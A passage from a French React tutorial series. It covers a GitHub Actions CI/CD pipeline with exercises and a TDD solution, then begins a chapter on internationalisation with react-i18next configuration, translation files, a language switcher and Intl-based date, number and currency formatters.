  name: Quality Pipeline

  on:
    push:
      branches: [main, develop]
    pull_request:
      branches: [main]

  jobs:
    # ─── Job 1 : Vérifications statiques ───────────────────────────────────
    static:
      name: Static Analysis
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@v4
        - uses: actions/setup-node@v4
          with: { node-version: '20', cache: 'npm' }
        - run: npm ci

        - name: TypeScript Check
          run: npm run type-check

        - name: ESLint
          run: npm run lint -- --max-warnings 0

        - name: Prettier Check
          run: npx prettier --check "src/**/*.{ts,tsx,css}"

        - name: Security Audit
          run: npm audit --audit-level=high

    # ─── Job 2 : Tests unitaires et intégration ────────────────────────────
    unit-tests:
      name: Unit & Integration Tests
      runs-on: ubuntu-latest
      needs: static
      steps:
        - uses: actions/checkout@v4
        - uses: actions/setup-node@v4
          with: { node-version: '20', cache: 'npm' }
        - run: npm ci

        - name: Run Tests with Coverage
          run: npm run test:coverage -- --reporter=verbose

        - name: Upload Coverage to Codecov
          uses: codecov/codecov-action@v3
          with:
            file:  ./coverage/lcov.info
            flags: unit
            fail_ci_if_error: true

        - name: Check Coverage Thresholds
          run: |
            npm run test:coverage -- --reporter=json
            node -e "
              const cov = require('./coverage/coverage-summary.json');
              const lines = cov.total.lines.pct;
              if (lines < 80) {
                console.error('Coverage: ' + lines + '% < 80%');
                process.exit(1);
              }
              console.log('Coverage OK: ' + lines + '%');
            "

    # ─── Job 3 : Build ─────────────────────────────────────────────────────
    build:
      name: Build
      runs-on: ubuntu-latest
      needs: unit-tests
      steps:
        - uses: actions/checkout@v4
        - uses: actions/setup-node@v4
          with: { node-version: '20', cache: 'npm' }
        - run: npm ci
        - name: Build
          run: npm run build
          env:
            VITE_API_URL: ${{ secrets.VITE_API_URL }}
        - name: Upload build artifact
          uses: actions/upload-artifact@v4
          with: { name: dist, path: dist/ }

    # ─── Job 4 : Tests E2E ─────────────────────────────────────────────────
    e2e:
      name: E2E Tests
      runs-on: ubuntu-latest
      needs: build
      steps:
        - uses: actions/checkout@v4
        - uses: actions/setup-node@v4
          with: { node-version: '20', cache: 'npm' }
        - run: npm ci
        - name: Install Playwright Browsers
          run: npx playwright install --with-deps chromium
        - name: Download build
          uses: actions/download-artifact@v4
          with: { name: dist, path: dist/ }
        - name: Run E2E Tests
          run: npx playwright test --project=chromium
          env:
            CI: true
        - name: Upload Playwright Report
          if: always()
          uses: actions/upload-artifact@v4
          with:
            name: playwright-report
            path: playwright-report/
            retention-days: 7

    # ─── Job 5 : Tests A11Y ────────────────────────────────────────────────
    accessibility:
      name: Accessibility Tests
      runs-on: ubuntu-latest
      needs: build
      steps:
        - uses: actions/checkout@v4
        - uses: actions/setup-node@v4
          with: { node-version: '20', cache: 'npm' }
        - run: npm ci
        - name: Install Playwright
          run: npx playwright install --with-deps chromium
        - name: Run Accessibility Tests
          run: npx playwright test e2e/accessibility.spec.ts

    # ─── Job 6 : Tests Storybook / Visuels ────────────────────────────────
    storybook:
      name: Chromatic Visual Tests
      runs-on: ubuntu-latest
      needs: static
      steps:
        - uses: actions/checkout@v4
          with: { fetch-depth: 0 }
        - uses: actions/setup-node@v4
          with: { node-version: '20', cache: 'npm' }
        - run: npm ci
        - name: Chromatic
          uses: chromaui/action@latest
          with:
            projectToken: ${{ secrets.CHROMATIC_PROJECT_TOKEN }}

    # ─── Job 7 : Déploiement (si tout passe) ──────────────────────────────
    deploy:
      name: Deploy to Vercel
      runs-on: ubuntu-latest
      needs: [e2e, accessibility]
      if: github.ref == 'refs/heads/main'
      steps:
        - uses: actions/checkout@v4
        - name: Deploy Production
          uses: amondnet/vercel-action@v25
          with:
            vercel-token:      ${{ secrets.VERCEL_TOKEN }}
            vercel-org-id:     ${{ secrets.VERCEL_ORG_ID }}
            vercel-project-id: ${{ secrets.VERCEL_PROJECT_ID }}
            vercel-args:       '--prod'


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 14
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-14.1 : Appliquer TDD pour implémenter formatTaskDueDate(task).
            Cas : pas de date -> "Pas d'échéance", passée -> "En retard",
            aujourd'hui -> "Aujourd'hui", demain -> "Demain", sinon -> "JJ/MM/AAAA".

  EX-14.2 : Configurer MSW avec 5 handlers (GET/POST /tasks, GET /auth/me,
            POST /auth/login, POST /auth/logout).
            Tester que les handlers retournent les bons status codes.

  EX-14.3 : Tester le composant Badge : toutes les variants, aria-label,
            et zéro violation axe.

NIVEAU INTERMÉDIAIRE :
  EX-14.4 : Tests d'intégration de TasksPage avec MSW.
            Couvrir : chargement, erreur API, création, suppression.

  EX-14.5 : TDD pour useTaskFilters complet.
            Écrire tous les tests AVANT l'implémentation, puis implémenter.

  EX-14.6 : Tests de performance : vérifier que TaskList avec 200 items
            rend en moins de 100ms et que React.memo fonctionne.

NIVEAU AVANCÉ :
  EX-14.7 : Pipeline GitHub Actions complète :
            static -> unit -> build -> e2e -> deploy (sur branch main).
            Badge de coverage dans le README.

  EX-14.8 : Tests visuels avec Playwright screenshots.
            Dashboard, TaskCard (toutes les variantes), Modal.

  EX-14.9 : Atteindre 85%+ de coverage sur :
            utils/, hooks/, et components/common/.
            Rapport HTML du coverage envoyé en artefact CI.

CORRIGÉ EX-14.1 — formatTaskDueDate (TDD complet) :

  // TESTS (écrits en premier) :
  describe('formatTaskDueDate', () => {
    it('retourne "Pas d\'échéance" si dueDate est null', () => {
      expect(formatTaskDueDate({ dueDate: null, status: 'todo' })).toBe('Pas d\'échéance');
    });

    it('retourne "Aujourd\'hui" si dueDate est aujourd\'hui', () => {
      const today = new Date().toISOString().split('T')[0];
      expect(formatTaskDueDate({ dueDate: `${today}T12:00:00Z`, status: 'todo' })).toBe('Aujourd\'hui');
    });

    it('retourne "Demain" si dueDate est demain', () => {
      const tomorrow = new Date();
      tomorrow.setDate(tomorrow.getDate() + 1);
      const iso = tomorrow.toISOString().split('T')[0];
      expect(formatTaskDueDate({ dueDate: `${iso}T12:00:00Z`, status: 'todo' })).toBe('Demain');
    });

    it('retourne "En retard" si dueDate est passée et tâche non terminée', () => {
      const past = new Date();
      past.setDate(past.getDate() - 2);
      expect(formatTaskDueDate({ dueDate: past.toISOString(), status: 'todo' })).toBe('En retard');
    });

    it('retourne la date formatée pour les dates futures éloignées', () => {
      expect(formatTaskDueDate({ dueDate: '2025-12-25T00:00:00Z', status: 'todo' }))
        .toMatch(/\d{2}\/\d{2}\/\d{4}/);
    });
  });

  // IMPLÉMENTATION :
  function formatTaskDueDate({ dueDate, status }: { dueDate: string | null; status: string }): string {
    if (!dueDate) return 'Pas d\'échéance';

    const due   = new Date(dueDate);
    const today = new Date();
    const todayStr    = today.toISOString().split('T')[0];
    const dueStr      = due.toISOString().split('T')[0];
    const tomorrow    = new Date(today);
    tomorrow.setDate(tomorrow.getDate() + 1);
    const tomorrowStr = tomorrow.toISOString().split('T')[0];

    if (due < today && status !== 'done') return 'En retard';
    if (dueStr === todayStr)    return 'Aujourd\'hui';
    if (dueStr === tomorrowStr) return 'Demain';

    return due.toLocaleDateString('fr-FR', {
      day: '2-digit', month: '2-digit', year: 'numeric',
    });
  }


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 14
════════════════════════════════════════════════════════════════════════════════

  [OK] TDD : RED -> GREEN -> REFACTOR — écrire les tests avant le code
  [OK] MSW : intercepter les requêtes au niveau réseau, handlers réutilisables
  [OK] renderHook + act : tester les hooks en isolation
  [OK] vi.useFakeTimers() : tester les timers et les timeouts de façon déterministe
  [OK] TestProviders : wrapper custom avec tous les providers pour les tests
  [OK] renderAuthenticated / renderGuest : helpers de rendu contextuels
  [OK] Tests de performance avec Profiler : mesurer les render times
  [OK] jest-axe + axe-playwright : tests a11y automatisés (WCAG 2.1 AA)
  [OK] Coverage Vitest : seuils, rapports HTML, upload Codecov
  [OK] Pipeline CI complète : static -> unit -> build -> E2E -> a11y -> deploy

PROCHAINE PARTIE : Internationalisation (i18n) et localisation (l10n)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 14 -> Continuer : react_master_part_15.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 15 : I18N, LOCALISATION ET PWA
================================================================================
VERSION 1.0 | CHAPITRES 92–99 | PROJET : TaskFlow International + PWA
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 92  ->  Internationalisation (i18n) — Concepts
  CHAPITRE 93  ->  react-i18next — Setup et configuration
  CHAPITRE 94  ->  Traductions avancées (pluriels, interpolation, namespaces)
  CHAPITRE 95  ->  Localisation (l10n) — Dates, nombres, monnaies
  CHAPITRE 96  ->  RTL (Right-to-Left) — Support de l'arabe et l'hébreu
  CHAPITRE 97  ->  Progressive Web App (PWA) avec Vite
  CHAPITRE 98  ->  Service Workers et stratégies de cache offline
  CHAPITRE 99  ->  Installation PWA et fonctionnalités natives
  PROJET       ->  TaskFlow International + PWA complète
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 92 : INTERNATIONALISATION — CONCEPTS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
92.1 — I18N vs L10N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  I18N — Internationalisation (18 lettres entre "i" et "n")
    Rendre l'app capable de supporter plusieurs langues/régions.
    C'est le PROCESSUS d'ingénierie (extraire les strings, configurer les libs).

  L10N — Localisation (10 lettres entre "l" et "n")
    Adapter l'app pour une locale spécifique (langue + région).
    C'est le contenu : traductions, formats de date, monnaie, RTL...

  LOCALE — Identifiant de langue/région :
    fr         -> Français (générique)
    fr-FR      -> Français de France
    fr-CA      -> Français du Canada
    en-US      -> Anglais des États-Unis
    en-GB      -> Anglais du Royaume-Uni
    ar-SA      -> Arabe d'Arabie Saoudite (RTL)
    zh-CN      -> Chinois simplifié
    pt-BR      -> Portugais du Brésil

  CE QUI DOIT ÊTRE LOCALISÉ :
    [OK] Textes et labels de l'interface
    [OK] Messages d'erreur et de validation
    [OK] Formats de date et d'heure
    [OK] Formats de nombres et de monnaies
    [OK] Ordre de tri (classement alphabétique)
    [OK] Direction du texte (LTR / RTL)
    [OK] Images culturellement sensibles
    [OK] Pluriels (qui varient selon la langue)
    [OK] URLs (optionnel : /fr/dashboard, /en/dashboard)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
92.2 — PIÈGES COURANTS DE L'I18N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  [X] Concaténation de strings (l'ordre des mots change selon les langues) :
    "Bonjour " + user.name  ->  EN: "Hello Alice", JA: "アリスこんにちは"
    [OK] Utiliser des templates : t('greeting', { name: user.name })

  [X] Hardcoder les formats de date :
    new Date().toLocaleDateString()  // Format dépend du browser et de l'OS
    [OK] Utiliser Intl.DateTimeFormat avec la locale explicite

  [X] Assumer que toutes les langues ont des pluriels simples (singulier/pluriel) :
    EN: 1 task, 2 tasks
    FR: 1 tâche, 2 tâches
    RU: 1 задача, 2 задачи, 5 задач   (3 formes de pluriels !)
    AR: 6 formes de pluriels !
    [OK] Utiliser les règles ICU ou CLDR

  [X] Hardcoder les longueurs de texte :
    "Submit" (EN, 6 chars) -> "Absenden" (DE, 8) -> "Envoyer" (FR, 7)
    Les textes en allemand sont souvent 30% plus longs qu'en anglais.
    [OK] Concevoir l'UI avec de la flexibilité (pas de largeurs fixes)

  [X] Hardcoder la direction du texte :
    margin-left dans le CSS -> ne fonctionne pas en RTL
    [OK] Utiliser margin-inline-start (CSS logique)


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 93 : REACT-I18NEXT — SETUP ET CONFIGURATION
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
93.1 — INSTALLATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install i18next react-i18next i18next-browser-languagedetector
  npm install i18next-http-backend  # Chargement lazy des traductions

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
93.2 — STRUCTURE DES FICHIERS DE TRADUCTION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  public/
  └── locales/
      ├── fr/                         <- Français (langue par défaut)
      │   ├── common.json             <- Termes communs (boutons, labels)
      │   ├── tasks.json              <- Module tâches
      │   ├── auth.json               <- Module authentification
      │   └── errors.json             <- Messages d'erreur
      ├── en/                         <- Anglais
      │   ├── common.json
      │   ├── tasks.json
      │   ├── auth.json
      │   └── errors.json
      └── ar/                         <- Arabe (RTL)
          ├── common.json
          ├── tasks.json
          ├── auth.json
          └── errors.json

  // public/locales/fr/common.json
  {
    "app": {
      "name": "TaskFlow",
      "tagline": "Gérez vos projets efficacement"
    },
    "actions": {
      "save":     "Sauvegarder",
      "cancel":   "Annuler",
      "delete":   "Supprimer",
      "edit":     "Modifier",
      "create":   "Créer",
      "close":    "Fermer",
      "confirm":  "Confirmer",
      "back":     "Retour",
      "next":     "Suivant",
      "search":   "Rechercher",
      "filter":   "Filtrer",
      "sort":     "Trier",
      "refresh":  "Actualiser",
      "loading":  "Chargement...",
      "retry":    "Réessayer"
    },
    "nav": {
      "dashboard": "Tableau de bord",
      "tasks":     "Tâches",
      "team":      "Équipe",
      "settings":  "Paramètres",
      "profile":   "Mon profil",
      "logout":    "Déconnexion"
    },
    "status": {
      "todo":        "À faire",
      "in_progress": "En cours",
      "done":        "Terminé",
      "cancelled":   "Annulé"
    },
    "priority": {
      "low":      "Basse",
      "medium":   "Moyenne",
      "high":     "Haute",
      "critical": "Critique"
    },
    "time": {
      "today":      "Aujourd'hui",
      "tomorrow":   "Demain",
      "yesterday":  "Hier",
      "overdue":    "En retard",
      "no_date":    "Pas d'échéance",
      "at":         "à",
      "on":         "le"
    }
  }

  // public/locales/fr/tasks.json
  {
    "list": {
      "title":   "Mes tâches",
      "empty":   "Aucune tâche pour le moment",
      "empty_search": "Aucune tâche ne correspond à \"{{query}}\"",
      "count_one":   "{{count}} tâche",
      "count_other": "{{count}} tâches",
      "filtered_one":   "{{count}} tâche affichée",
      "filtered_other": "{{count}} tâches affichées"
    },
    "card": {
      "complete":       "Marquer comme terminée",
      "reopen":         "Rouvrir",
      "edit":           "Modifier la tâche",
      "delete":         "Supprimer la tâche",
      "delete_confirm": "Supprimer \"{{title}}\" ?",
      "assigned_to":    "Assignée à {{name}}",
      "no_assignee":    "Non assignée",
      "subtasks_one":   "{{count}} sous-tâche",
      "subtasks_other": "{{count}} sous-tâches",
      "comments_one":   "{{count}} commentaire",
      "comments_other": "{{count}} commentaires"
    },
    "form": {
      "title_new":    "Nouvelle tâche",
      "title_edit":   "Modifier la tâche",
      "field_title":  "Titre",
      "field_desc":   "Description",
      "field_priority":   "Priorité",
      "field_due":    "Date d'échéance",
      "field_assignee":   "Assignée à",
      "field_tags":   "Tags",
      "field_hours":  "Heures estimées",
      "placeholder_title": "Ex: Implémenter l'authentification",
      "placeholder_desc":  "Détails de la tâche...",
      "placeholder_tags":  "Ajouter un tag...",
      "submit_create": "Créer la tâche",
      "submit_edit":   "Enregistrer les modifications"
    },
    "notifications": {
      "created": "Tâche créée avec succès",
      "updated": "Tâche mise à jour",
      "deleted": "Tâche supprimée",
      "completed": "Tâche \"{{title}}\" marquée comme terminée"
    }
  }

  // public/locales/en/tasks.json
  {
    "list": {
      "title":   "My tasks",
      "empty":   "No tasks yet",
      "empty_search": "No tasks match \"{{query}}\"",
      "count_one":   "{{count}} task",
      "count_other": "{{count}} tasks",
      "filtered_one":   "{{count}} task shown",
      "filtered_other": "{{count}} tasks shown"
    },
    "card": {
      "complete":       "Mark as complete",
      "reopen":         "Reopen",
      "edit":           "Edit task",
      "delete":         "Delete task",
      "delete_confirm": "Delete \"{{title}}\"?",
      "assigned_to":    "Assigned to {{name}}",
      "no_assignee":    "Unassigned",
      "subtasks_one":   "{{count}} subtask",
      "subtasks_other": "{{count}} subtasks",
      "comments_one":   "{{count}} comment",
      "comments_other": "{{count}} comments"
    },
    "form": {
      "title_new":  "New task",
      "title_edit": "Edit task",
      "field_title": "Title",
      "field_desc":  "Description",
      "field_priority":  "Priority",
      "field_due":   "Due date",
      "field_assignee":  "Assigned to",
      "field_tags":  "Tags",
      "field_hours": "Estimated hours",
      "placeholder_title": "e.g. Implement authentication",
      "placeholder_desc":  "Task details...",
      "placeholder_tags":  "Add a tag...",
      "submit_create": "Create task",
      "submit_edit":   "Save changes"
    },
    "notifications": {
      "created":   "Task created successfully",
      "updated":   "Task updated",
      "deleted":   "Task deleted",
      "completed": "Task \"{{title}}\" marked as complete"
    }
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
93.3 — CONFIGURATION I18NEXT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/i18n/config.ts
  import i18n from 'i18next';
  import { initReactI18next }     from 'react-i18next';
  import LanguageDetector          from 'i18next-browser-languagedetector';
  import HttpBackend               from 'i18next-http-backend';

  export const SUPPORTED_LANGUAGES = [
    { code: 'fr', name: 'Français',  flag: '[FR]', dir: 'ltr' },
    { code: 'en', name: 'English',   flag: '[GB]', dir: 'ltr' },
    { code: 'ar', name: 'العربية',   flag: '[SA]', dir: 'rtl' },
    { code: 'de', name: 'Deutsch',   flag: '[DE]', dir: 'ltr' },
    { code: 'es', name: 'Español',   flag: '[ES]', dir: 'ltr' },
  ] as const;

  export type SupportedLanguage = typeof SUPPORTED_LANGUAGES[number]['code'];

  i18n
    .use(HttpBackend)          // Chargement depuis /public/locales
    .use(LanguageDetector)     // Détection auto (browser, localStorage, navigator)
    .use(initReactI18next)
    .init({
      // Langues :
      supportedLngs:   SUPPORTED_LANGUAGES.map(l => l.code),
      fallbackLng:     'fr',
      defaultNS:       'common',
      ns:              ['common', 'tasks', 'auth', 'errors'],

      // Détection de langue :
      detection: {
        order:   ['localStorage', 'navigator', 'htmlTag'],
        caches:  ['localStorage'],
        lookupLocalStorage: 'taskflow_language',
      },

      // Backend (fichiers JSON) :
      backend: {
        loadPath: '/locales/{{lng}}/{{ns}}.json',
      },

      // Interpolation :
      interpolation: {
        escapeValue: false,  // React escape déjà
      },

      // Dev :
      debug: process.env.NODE_ENV === 'development',

      // Format de pluriels (ICU) :
      compatibilityJSON: 'v4',
    });

  export default i18n;

  // src/main.tsx — Initialiser i18n avant le rendu :
  import './i18n/config';  // <- Doit être importé avant App

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
93.4 — UTILISATION DANS LES COMPOSANTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useTranslation } from 'react-i18next';

  // Hook principal :
  function TaskCard({ task }: { task: Task }) {
    const { t } = useTranslation(['tasks', 'common']);
    // 'tasks' = namespace principal, 'common' = fallback

    return (
      <article>
        <h3>{task.title}</h3>

        {/* Statut traduit depuis common.json : */}
        <span className={`badge status-${task.status}`}>
          {t(`common:status.${task.status}`)}
        </span>

        {/* Priorité traduite : */}
        <span className={`badge priority-${task.priority}`}>
          {t(`common:priority.${task.priority}`)}
        </span>

        {/* Pluriels automatiques : */}
        <span>
          {t('tasks:card.subtasks', { count: task.subtasks.length })}
          {/* -> "2 sous-tâches" (fr), "2 subtasks" (en) */}
        </span>

        {/* Interpolation : */}
        <span>
          {task.assignee
            ? t('tasks:card.assigned_to', { name: task.assignee.name })
            : t('tasks:card.no_assignee')
          }
          {/* -> "Assignée à Alice Martin" */}
        </span>

        <div role="group" aria-label={task.title}>
          <button
            onClick={() => onComplete(task.id)}
            aria-label={t('tasks:card.complete')}
          >
            [OK]
          </button>
          <button
            onClick={() => onEdit(task)}
            aria-label={t('tasks:card.edit')}
          >
            [EDIT]
          </button>
        </div>
      </article>
    );
  }

  // Traduction en dehors des composants (ex: validation Zod) :
  import i18n from '@/i18n/config';

  const taskSchema = z.object({
    title: z.string()
      .min(3, () => i18n.t('errors:validation.min_length', { min: 3 }))
      .max(200, () => i18n.t('errors:validation.max_length', { max: 200 })),
  });

  // HOC/Provider pour le Suspense i18n :
  function TasksPage() {
    const { t, ready } = useTranslation('tasks');

    if (!ready) return <Spinner />;  // Pendant le chargement des traductions

    return (
      <main>
        <h1>{t('list.title')}</h1>
        {/* ... */}
      </main>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 94 : TRADUCTIONS AVANCÉES
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
94.1 — PLURIELS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Règles ICU pour les pluriels :
  // Suffixes : _zero, _one, _two, _few, _many, _other

  // Français (2 formes : singulier + pluriel) :
  // public/locales/fr/tasks.json
  {
    "task_count": "{{count}} tâche",
    "task_count_one": "{{count}} tâche",
    "task_count_other": "{{count}} tâches"
  }

  // Russe (4 formes) :
  // public/locales/ru/tasks.json
  {
    "task_count_one":   "{{count}} задача",    // 1 задача
    "task_count_few":   "{{count}} задачи",    // 2-4 задачи
    "task_count_many":  "{{count}} задач",     // 5-20 задач
    "task_count_other": "{{count}} задачи"     // 21 задача...
  }

  // Utilisation :
  t('task_count', { count: 0 })  // -> "0 tâches" (fr) / "0 задач" (ru)
  t('task_count', { count: 1 })  // -> "1 tâche"   (fr) / "1 задача" (ru)
  t('task_count', { count: 5 })  // -> "5 tâches"  (fr) / "5 задач" (ru)
  t('task_count', { count: 21 }) // -> "21 tâches" (fr) / "21 задача" (ru)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
94.2 — COMPOSANT DE CHANGEMENT DE LANGUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/components/common/LanguageSwitcher/LanguageSwitcher.tsx
  import { useTranslation } from 'react-i18next';
  import { SUPPORTED_LANGUAGES } from '@/i18n/config';

  function LanguageSwitcher() {
    const { i18n } = useTranslation();
    const currentLang = SUPPORTED_LANGUAGES.find(l => l.code === i18n.language)
      ?? SUPPORTED_LANGUAGES[0];

    const changeLanguage = async (langCode: string) => {
      await i18n.changeLanguage(langCode);
      // Mettre à jour la direction du document :
      const lang = SUPPORTED_LANGUAGES.find(l => l.code === langCode);
      document.documentElement.setAttribute('lang', langCode);
      document.documentElement.setAttribute('dir', lang?.dir ?? 'ltr');
    };

    return (
      <div className="language-switcher" role="navigation" aria-label="Choisir la langue">
        <button
          className="lang-btn"
          aria-haspopup="listbox"
          aria-expanded={isOpen}
          onClick={() => setIsOpen(!isOpen)}
        >
          <span aria-hidden="true">{currentLang.flag}</span>
          <span>{currentLang.name}</span>
          <span aria-hidden="true">[BLACK_DOWN-POINTING_SMALL_TRIANGLE]</span>
        </button>

        {isOpen && (
          <ul role="listbox" aria-label="Langues disponibles">
            {SUPPORTED_LANGUAGES.map(lang => (
              <li
                key={lang.code}
                role="option"
                aria-selected={lang.code === i18n.language}
              >
                <button
                  onClick={() => {
                    changeLanguage(lang.code);
                    setIsOpen(false);
                  }}
                  lang={lang.code}
                  dir={lang.dir}
                >
                  <span aria-hidden="true">{lang.flag}</span>
                  {lang.name}
                </button>
              </li>
            ))}
          </ul>
        )}
      </div>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
94.3 — HOOK USELANGUAGE CUSTOM
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/hooks/useLanguage.ts
  import { useCallback } from 'react';
  import { useTranslation } from 'react-i18next';
  import { SUPPORTED_LANGUAGES, type SupportedLanguage } from '@/i18n/config';

  function useLanguage() {
    const { i18n } = useTranslation();

    const currentLanguage = SUPPORTED_LANGUAGES.find(l => l.code === i18n.language)
      ?? SUPPORTED_LANGUAGES[0];

    const isRTL = currentLanguage.dir === 'rtl';

    const setLanguage = useCallback(async (code: SupportedLanguage) => {
      await i18n.changeLanguage(code);
      const lang = SUPPORTED_LANGUAGES.find(l => l.code === code)!;
      document.documentElement.lang = code;
      document.documentElement.dir  = lang.dir;
      localStorage.setItem('taskflow_language', code);
    }, [i18n]);

    return {
      currentLanguage,
      supportedLanguages: SUPPORTED_LANGUAGES,
      isRTL,
      setLanguage,
    };
  }

  export default useLanguage;


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 95 : LOCALISATION — DATES, NOMBRES, MONNAIES
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
95.1 — API INTL — LOCALISATION NATIVE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

L'API Intl est native dans tous les navigateurs modernes.
Pas besoin de bibliothèque externe pour les formats basiques.

  // src/lib/formatters.ts
  type Locale = string;

  // FORMAT DE DATE :
  export function formatDate(
    date: Date | string,
    locale: Locale,
    options: Intl.DateTimeFormatOptions = { day: '2-digit', month: '2-digit', year: 'numeric' }
  ): string {
    const d = typeof date === 'string' ? new Date(date) : date;
    return new Intl.DateTimeFormat(locale, options).format(d);
  }

  // Exemples :
  formatDate('2024-12-25', 'fr-FR')  // -> "25/12/2024"
  formatDate('2024-12-25', 'en-US')  // -> "12/25/2024"
  formatDate('2024-12-25', 'de-DE')  // -> "25.12.2024"
  formatDate('2024-12-25', 'ar-SA')  // -> "٢٥/١٢/٢٠٢٤"
  formatDate('2024-12-25', 'ja-JP')  // -> "2024/12/25"

  // DATE RELATIVE :
  export function formatRelativeDate(date: Date | string, locale: Locale): string {
    const d   = typeof date === 'string' ? new Date(date) : date;
    const now  = new Date();
    const diff = Math.round((d.getTime() - now.getTime()) / (1000 * 60 * 60 * 24));

    const rtf = new Intl.RelativeTimeFormat(locale, { numeric: 'auto' });

    if (Math.abs(diff) < 1) {
      const diffHours = Math.round((d.getTime() - now.getTime()) / (1000 * 60 * 60));
      if (Math.abs(diffHours) < 1) {
        const diffMin = Math.round((d.getTime() - now.getTime()) / (1000 * 60));
        return rtf.format(diffMin, 'minute');
      }
      return rtf.format(diffHours, 'hour');
    }

    if (Math.abs(diff) < 30) return rtf.format(diff, 'day');
    if (Math.abs(diff) < 365) {
      const months = Math.round(diff / 30);
      return rtf.format(months, 'month');
    }
    const years = Math.round(diff / 365);
    return rtf.format(years, 'year');
  }

  // Exemples (depuis maintenant) :
  formatRelativeDate('2024-12-24', 'fr')  // -> "hier"
  formatRelativeDate('2024-12-26', 'en')  // -> "tomorrow"
  formatRelativeDate('2024-12-31', 'fr')  // -> "dans 7 jours"

  // FORMAT DE NOMBRE :
  export function formatNumber(value: number, locale: Locale): string {
    return new Intl.NumberFormat(locale).format(value);
  }

  formatNumber(1234567.89, 'fr-FR')  // -> "1 234 567,89"
  formatNumber(1234567.89, 'en-US')  // -> "1,234,567.89"
  formatNumber(1234567.89, 'de-DE')  // -> "1.234.567,89"

  // FORMAT DE MONNAIE :
  export function formatCurrency(
    amount: number,
    currency: string,
    locale: Locale
  ): string {
    return new Intl.NumberFormat(locale, {
      style:    'currency',
      currency,
      minimumFractionDigits: 2,
    }).format(amount);
  }

  formatCurrency(1234.5, 'EUR', 'fr-FR')  // -> "1 234,50 €"
  formatCurrency(1234.5, 'USD', 'en-US')  // -> "$1,234.50"
  formatCurrency(1234.5, 'GBP', 'en-GB')  // -> "£1,234.50"
  formatCurrency(1234.5, 'JPY', 'ja-JP')  // -> "¥1,235"

  // FORMAT D'HEURE RELATIVE :
  export function formatDuration(hours: number, locale: Locale): string {
    const h = Math.floor(hours);
    const m = Math.round((hours - h) * 60);

    const parts = new Intl.ListFormat(locale, { style: 'short' }).format([
      h > 0 ? `${h}h` : '',
      m > 0 ? `${m}min` : '',
    ].filter(Boolean));

    return parts || '< 1min';
  }

  // TRI ALPHABÉTIQUE LOCALISÉ :
  export function sortByName(items: { name: string }[], locale: Locale) {
    const collator = new Intl.Collator(locale, { sensitivity: 'base' });
    return [...items].sort((a, b) => collator.compare(a.name, b.name));
  }

